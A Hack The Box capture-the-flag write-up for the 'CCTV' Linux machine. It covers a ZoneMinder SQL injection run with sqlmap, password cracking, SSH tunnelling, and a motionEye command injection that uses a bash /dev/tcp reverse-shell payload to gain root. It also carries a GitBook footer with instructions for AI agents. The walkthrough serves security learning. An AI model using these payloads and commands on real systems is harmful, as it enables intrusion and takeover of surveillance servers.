> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/cctv-htb-hack-the-box-writeup-or-by-alham-rizvi.md).

# CCTV HTB - Hack The Box Writeup | By Alham Rizvi

<figure><img src="/files/jhJEa9OUNPdf5kArvzDb" alt=""><figcaption></figcaption></figure>

> **Hack The Box Machine**\
> **Author:** Alham Rizvi\
> **Date:** 2026-05-21\
> **Difficulty:** Easy\
> **OS:** Ubuntu 24.04 (Linux)

***

### Box Info

| Field      | Detail                                           |
| ---------- | ------------------------------------------------ |
| Name       | [CCTV](https://www.hackthebox.com/machines/CCTV) |
| OS         | Linux (Ubuntu 24.04)                             |
| Difficulty | Easy                                             |
| Release    | 2026-03-07                                       |
| Retire     | TBD                                              |

***

### Overview

CCTV is an Easy Linux box that runs two surveillance platforms: a public‑facing **ZoneMinder 1.37.63** instance and an internal **motionEye 0.43.1b4** service bound to `localhost:8765`. The foothold leverages a time‑based blind SQL injection (CVE‑2024‑51482) in ZoneMinder’s event tag removal endpoint to dump bcrypt password hashes. The hash for the user `mark` is cracked with John the Ripper, granting SSH access. Once inside, an internal motionEye web interface is exposed via SSH port forwarding. A command injection (CVE‑2025‑60787) in the **Image File Name** configuration field is exploited by bypassing client‑side validation, allowing a reverse shell to be triggered as **root** by requesting a snapshot from the local motion daemon API.

***

### Reconnaissance

#### Port Scanning

A full port scan with `nmap` reveals only two open TCP ports:

```bash
$ sudo nmap -p- --min-rate 10000 -vvv <TARGET_IP>
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
```

A detailed scan of the open ports:

```bash
$ sudo nmap -p 22,80 -sCV -oN nmap/cctv.txt <TARGET_IP>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

* The OpenSSH version (9.6p1) places this firmly on **Ubuntu 24.04 Noble**.
* The HTTP service redirects to `http://cctv.htb/` — a virtual host. Add it to `/etc/hosts`:

```bash
$ echo "<TARGET_IP> cctv.htb" | sudo tee -a /etc/hosts
```

***

### Enumeration

#### HTTP – ZoneMinder

Browsing to `http://cctv.htb` shows a corporate landing page for **SecureVision**. Clicking the "Staff Login" button redirects to `http://cctv.htb/zm/`, which is a **ZoneMinder** login portal. Default credentials `admin:admin` work, granting full administrative access.

The version is shown in the top‑right corner: **v1.37.63**. This version is vulnerable to **CVE‑2024‑51482** — a time‑based blind SQL injection in the event tag removal endpoint (`/zm/index.php?view=request&request=event&action=removetag&tid=1`).

***

### Foothold – CVE‑2024‑51482 (SQL Injection)

#### Using sqlmap

The injection lies in the `tid` parameter. We can exploit it with `sqlmap` using a session cookie to stay authenticated.

First, capture a valid session cookie by logging in via browser or `curl`:

```bash
$ curl -s -c cookies.txt -b cookies.txt \
  -X POST "http://cctv.htb/zm/index.php" \
  -d "username=admin&password=admin&action=login&view=console" \
  -L -o /dev/null
```

Then run `sqlmap` against the vulnerable endpoint:

```bash
$ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
  --cookie="ZMSESSID=<SESSION_ID>" \
  -p tid --dbms=mysql --batch \
  -D zm -T Users -C "Username,Password" --dump
```

`sqlmap` detects the blind injection and extracts the `Users` table:

```
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin      | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
```

All are bcrypt hashes (`$2y$10$`). The user `mark` is the most likely system user; we'll crack that hash.

#### Hash Cracking

```bash
$ echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > mark.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt mark.hash
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
opensesame       (?)
1g 0:00:01:52 DONE
```

The password is **`opensesame`**. With these credentials, we can SSH into the machine.

***

### User Access

```bash
$ ssh mark@<TARGET_IP>
```

We're in as `mark`. The user flag is not in `/home/mark`; later we'll find it at `/home/sa_mark/user.txt` after privilege escalation.

***

### Privilege Escalation

#### Internal Service Discovery

`mark` has no sudo privileges. Checking local listeners shows interesting services:

```bash
mark@cctv:~$ ss -tlnp
LISTEN   127.0.0.1:7999    # motion webcontrol
LISTEN   127.0.0.1:8765    # motionEye web UI
LISTEN   127.0.0.1:8554    # RTSP stream
LISTEN   127.0.0.1:1935    # RTMP stream
LISTEN   127.0.0.1:9081    # camera stream
LISTEN   127.0.0.1:3306    # MySQL
```

Port **8765** is motionEye's web interface, and port **7999** is the motion daemon's local webcontrol API. The motionEye service runs as root (verified by inspecting its systemd unit file).

#### motionEye Configuration

```bash
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
```

The admin password is a SHA1 hash. We crack it with John:

```bash
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 motion.hash
```

(You will obtain the plaintext after cracking. Use the resulting password.)

#### Port Forwarding

The motionEye interface is only reachable locally. We tunnel it to our Kali machine:

```bash
$ ssh -L 8765:127.0.0.1:8765 -L 7999:127.0.0.1:7999 mark@<TARGET_IP>
```

Now visit `http://127.0.0.1:8765` in a browser and log in with `admin:<cracked_password>`. The version is **motionEye 0.43.1b4**, which is vulnerable to **CVE‑2025‑60787** – a command injection via the `picture_filename` configuration field.

#### CVE‑2025‑60787 – Command Injection

The vulnerability lies in the **Image File Name** field under **Still Images** settings. The motion daemon evaluates this string as a shell expression when saving snapshots. The web UI has client‑side validation that blocks dangerous characters – but we can bypass it.

**Step 1** – Open the browser's developer console (F12) and type:

```javascript
configUiValid = function() { return true; };
```

This disables the validation.

**Step 2** – Navigate to **Still Images** → **Image File Name** and replace the default value with:

```
$(bash -c 'bash -i >& /dev/tcp/<KALI_IP>/9001 0>&1').%Y-%m-%d-%H-%M-%S
```

Click **Apply** to save the configuration.

**Step 3** – Set up a listener on your Kali machine:

```bash
$ rlwrap -cAr nc -lnvp 9001
```

**Step 4** – Trigger the snapshot via the motion webcontrol API (from inside the SSH session):

```bash
mark@cctv:~$ curl "http://127.0.0.1:7999/1/action/snapshot"
```

The motion daemon, running as **root**, evaluates the injected command, and a reverse shell connects back to our listener.

```bash
connect to [<KALI_IP>] from (UNKNOWN) [<TARGET_IP>] 41644
root@cctv:/etc/motioneye# id
uid=0(root) gid=0(root) groups=0(root)
```

We have root!

***

### Flags

* **User Flag** – `/home/sa_mark/user.txt`
* **Root Flag** – `/root/root.txt`

```bash
root@cctv:/etc/motioneye# cat /home/sa_mark/user.txt
root@cctv:/etc/motioneye# cat /root/root.txt
```

***

### Lessons Learned

1. **Default Credentials** – Always change default passwords; `admin:admin` should never be used in production.
2. **Blind SQL Injection** – CVE‑2024‑51482 demonstrates how dangerous an authenticated SQL injection can be, even if it's time‑based. Use parameterised queries and prepared statements.
3. **Internal Services** – Exposing internal services only to localhost is a good practice, but if an attacker gains a foothold, they can tunnel and exploit them. Services should be properly authenticated and patched.
4. **Client‑Side Validation** – Never rely on client‑side validation for security. The motionEye web interface allowed bypassing JavaScript checks; the server must validate all inputs.
5. **Command Injection via Filename** – Using user‑controlled input in shell‑evaluted contexts is extremely dangerous. Always sanitise and avoid shell expansion when constructing file paths.
6. **Enumeration** – The key to privilege escalation was discovering internal services and configuration files. Always check `/etc/`, `/opt/`, and systemd units for clues.

***

*Machine pwned by Alham Rizvi – Happy Hacking!*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/cctv-htb-hack-the-box-writeup-or-by-alham-rizvi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
